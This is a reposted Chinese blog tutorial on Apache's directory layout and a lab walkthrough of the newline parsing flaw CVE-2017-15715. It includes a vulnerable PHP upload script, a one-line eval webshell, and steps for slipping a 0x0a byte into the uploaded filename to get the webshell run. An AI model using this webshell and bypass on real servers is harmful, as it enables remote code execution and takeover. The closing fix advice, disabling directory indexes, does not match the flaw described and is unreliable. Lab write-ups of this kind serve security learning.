介紹
Apache(音譯為阿帕奇)是世界使用排名第一的Web服務器軟體,它可以運行在幾乎所有廣泛使用的計算機平臺上,由于其跨平臺和安全性被廣泛使用,是最流行的Web服務器端軟體之一,它快速、可靠并且可通過簡單的API擴充,將Perl/Python等解釋器編譯到服務器中,
簡而言之,Apache服務器不僅簡單好用,還能支持HTML、PHP、Perl、Python等基礎語言,
目錄介紹
bin-------存放常用的命令工具,例如httpd
cgi-bin---存放Linux下常用的命令,例如xxx.sh
conf------Linux的配置相關檔案,例如httpd.conf
error-----錯誤記錄
htdocs----放網站原始碼
icons-----網站圖示
logs------日志
manual----手冊
modules---擴展模塊
Apache換行決議漏洞(CVE-2017-15715)
影響版本:Apache 2.4.0~2.4.29
影響說明:繞過服務器策略,上傳webshell
環境說明:PHP5.5.38 、 Apache2.4.10
環境搭建
東塔靶場

漏洞原理
Apache檔案決議漏洞與用戶的配置有密切關系,嚴格來說屬于用戶的配置問題,Apache檔案決議漏洞涉及到一個決議檔案的特性,Apache默認一個檔案可以有多個以點分隔的后綴,當右邊的后綴無法識別,則繼續向左識別,發現后綴是php,交給php處理這個檔案,
為什么叫換行決議漏洞?是因為在上傳時在檔案名后綴后面加了0x0a(換行)
不過為什么要加0x0a呢?看下原始碼
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
?>
<form method="POST" enctype="multipart/form-data">
<p>
<label>file:<input type="file" name="file"></label>
</p>
<p>
<label>filename:<input type="text" name="name" value="shell.php"></label>
</p>
<input type="submit">
</form>
后臺通過黑名單方式過濾了php等后綴的檔案,php檔案在<FilesMatch .php$>有定義,以.php結尾的檔案都算php檔案,在正則中表示匹配輸入字串的結尾位置,如果設定了RegExp物件的Multiline屬性,則也匹配 ‘\n’ 或 ‘\r’,
恰好,我們在檔案末尾加了0x0a(\n),所以被匹配成功了,
漏洞復現
上傳一個webshell一句話木馬檔案,shell.php
<?php @eval($_POST[cmd]);?>
此處檔案名處加空格

Hex改空格(20)處為0a
POST中密碼即可成功傳值
通過蟻劍連接

修復建議
在httpd.conf檔案中找到
Options + Indexes + FollowSymLinks + ExecCGI
修改成
Options -Indexes + FollowSymLinks + ExecCGI
保存(把+修改為-)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/260977.html
標籤:其他
上一篇:java多執行緒詳細理解
